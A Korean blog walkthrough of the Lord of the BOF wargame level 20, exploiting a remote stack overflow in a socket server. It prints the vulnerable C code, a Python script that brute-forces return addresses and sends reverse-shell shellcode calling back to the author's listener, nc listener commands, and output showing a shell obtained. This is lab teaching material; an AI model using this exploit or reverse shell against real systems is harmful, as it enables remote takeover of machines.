[해커스쿨 LOB] Level20: Xavius >> Death Knight

두비니

·

2020. 9. 1. 16:04

 

 

 


Level 20. Xavius >> Death Knight

Theme: remote BOF


login

id : xavius
pw : throw me away

 

 

bash2 & 코드 확인

 

[xavius@localhost xavius]$ bash2
[xavius@localhost xavius]$ cat death_knight.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <dumpcode.h>

main()
{
        char buffer[40];

        int server_fd, client_fd;
        struct sockaddr_in server_addr;
        struct sockaddr_in client_addr;
        int sin_size;

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }

        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(6666);
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
                perror("bind");
                exit(1);
        }

        if(listen(server_fd, 10) == -1){
                perror("listen");
                exit(1);
        }

        while(1) {
                sin_size = sizeof(struct sockaddr_in);
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                        perror("accept");
                        continue;
                }

                if (!fork()){
                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
                        send(client_fd, "You : ", 6, 0);
                        recv(client_fd, buffer, 256, 0);
                        close(client_fd);
                        break;
                }

                close(client_fd);
                while(waitpid(-1,NULL,WNOHANG) > 0);
        }
        close(server_fd);
}

 

일단 코드가 굉장히 길다. 이건 소켓프로그래밍이 필요한데, 한번에 다같이 설명하면 이해하기 힘들 것 같아 구간별로 대충 설명하도록 하겠습니다.

 

 

        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
                perror("socket");
                exit(1);
        }

        server_addr.sin_family = AF_INET;
        server_addr.sin_port = htons(6666);
        server_addr.sin_addr.s_addr = INADDR_ANY;
        bzero(&(server_addr.sin_zero), 8);

        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
                perror("bind");
                exit(1);
        }

        if(listen(server_fd, 10) == -1){
                perror("listen");
                exit(1);
        }

 

일단 이부분은 정상적으로 소켓이 연결되었는지 확인하는 부분입니다. 크게 신경쓰지 않아도 됩니다.

 

        while(1) {
                sin_size = sizeof(struct sockaddr_in);
                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
                        perror("accept");
                        continue;
                }

                if (!fork()){
                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
                        send(client_fd, "You : ", 6, 0);
                        recv(client_fd, buffer, 256, 0);
                        close(client_fd);
                        break;
                }

                close(client_fd);
                while(waitpid(-1,NULL,WNOHANG) > 0);
        }

 

이부분은 이제 client와의 연결이 성공하고 fork가 성공해서 통신 프로세스가 열리면 "Death Knight : Not even death can save you from me!"를 client, 이 경우에는 우리에게 전송합니다.

 

 

char buffer[40];

...

send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
send(client_fd, "You : ", 6, 0);
recv(client_fd, buffer, 256, 0);
close(client_fd);
break;

 

결국 봐야할 부분은 여기다. buffer는 크기가 40인데 256이나 입력을 받고있네요.

즉 우리가 맨 처음에 했던 제일 기초적인 bof를 하되, 이걸 소켓으로, 즉 remote exploit을 해야합니다.

 

자 이제 우리가 여태껏 풀어왔던 지식으로는 이정도 페이로드를 생각해 낼 수 있을 것 같네요

 

Dummy[44] + ret+4주소[4] + nop[적당히] + 쉘코드[25]

 

자 여기서 remote exploit을 이용하는 경우에는 두 가지 문제점이 생깁니다.

 

1. 그냥 여태껏 이용한 쉘코드를 사용할 수 없습니다.

 

이 문제는 서버와의 통신을 통해 권한을 얻어내야 하는 문제이기 때문에 단순히 접속해서 system("/bin/sh")를 실행시키는 것으로 해결되지 않습니다. 이 문제에서는 reverse shell이라는 걸 쓸건데, 간단히 설명하자면 server쪽에서 client에 연결을 시도하게 해주는 shellcode입니다. 연결을 받을 곳에서 포트를 열어놓으면, server쪽에서 reverse shellcode를 실행했다고 message를 받을 수 있는 shell이라고 하네요.

 

reverse shell은 아래 사이트에서 받아왔습니다.

ref) https://www.exploit-db.com/exploits/25497

 

Linux/x86 - Reverse (192.168.1.10:31337/TCP) Shell Shellcode (92 bytes)

Linux/x86 - Reverse (192.168.1.10:31337/TCP) Shell Shellcode (92 bytes) EDB-ID: 25497 CVE: N/A Date: 2013-05-17

www.exploit-db.com

 

2.  ret+4의 주소를 알아낼 방법이 없다.

 

이거는 이제 bruteforcing, 즉 전문용어로 노가다를 해야합니다. 조금 찾아본 결과, LOB서버에서의 stack segment는 0xbfff0000 ~ 0xbfffffff까지이기때문에 못할정도의 브루트포싱은 아니다. 게다가 리턴 주소는 하위 2byte만 맞춰주면 되기 때문에 경우의 수는 2^16, 65536입니다.

 

 

일단 이 점을 이용해서 코딩을 해봅시다.

 

일단 reverse shell을 이용하기 위해 ip주소와 port값을 16진수로 바꿉시다.

ip주소를 16진수로 변환해야하는데 계산할수도 있지만 걍 converter씁시다.

ip주소 >> 16진수 : https://miniwebtool.com/ip-address-to-hex-converter/?ip=192.168.144.128

 

IP Address to Hex Converter

IP Address to Hex Converter

miniwebtool.com

그리고 port는 well-known port이후인 1024~65535중 아무거나 사용해도 상관없습니다. 저는 5555 이용했습니다.

다음과 같이 nc를 이용해 공격할 시스템의 서버를 열어놓습니다.

 

dubini0@ubuntu:~$ nc -l -p 51000
my-pass

-l -p를 입력하면 연결 및 대기 상태가 되는데, 미리 my-pass 명령어를 올려놓겠습니다.

 

 

그리고 코드는 위에 링크를 이용해서 만들었습니다.

from socket import *
from struct import *


p = lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]

IPADDR = "\x80\x90\xA8\xC0"
PORT = "\xc7\x38"

shellcode = (

		"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
		"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
		"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
		"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
		+IPADDR+"\x66\x68"+PORT+"\x66\x53\xfe"
		"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
		"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
		"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
		"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
		"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
		"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
		"\x80"
		)


for i in range(0xFF, 0x00, -1):
	for j in range(0xFF, 0x00, -1):
		payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode
	print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf")))
	s=socket(AF_INET, SOCK_STREAM)
	s.connect(("192.168.31.129", 6666))
	s.recv(52)
	s.recv(6)
	s.send(payload)
	s.close()

 

아무튼 이렇게 해서 실행시키면

dubini0@ubuntu:~$ python lob.py
addr : 0xbfffff01
addr : 0xbfffff02
....(생략)
addr : 0xbffffdf1
addr : 0xbffffdf0
addr : 0xbffffdef
....(생략)

 

시간이 꽤 걸리는데, 기다리다보면 어느순간 쉘이 따인걸 볼 수 있다.

 

dubini0@ubuntu:~$ nc -l -p 51000
my-pass
euid = 520
got the life

 

와! 끝!

 

근데 솔직히 소켓프로그래밍은 아직 어렵기도하고 pwntools가 있는데 굳이 이걸 해야하나..?의 느낌이다. 코드도 그냥 짬뽕작품이고 network error에서 허덕이다가 겨우 풀었다. 역시 기계는 껐다켜야해....ㅎ

 

암튼 다음 기릿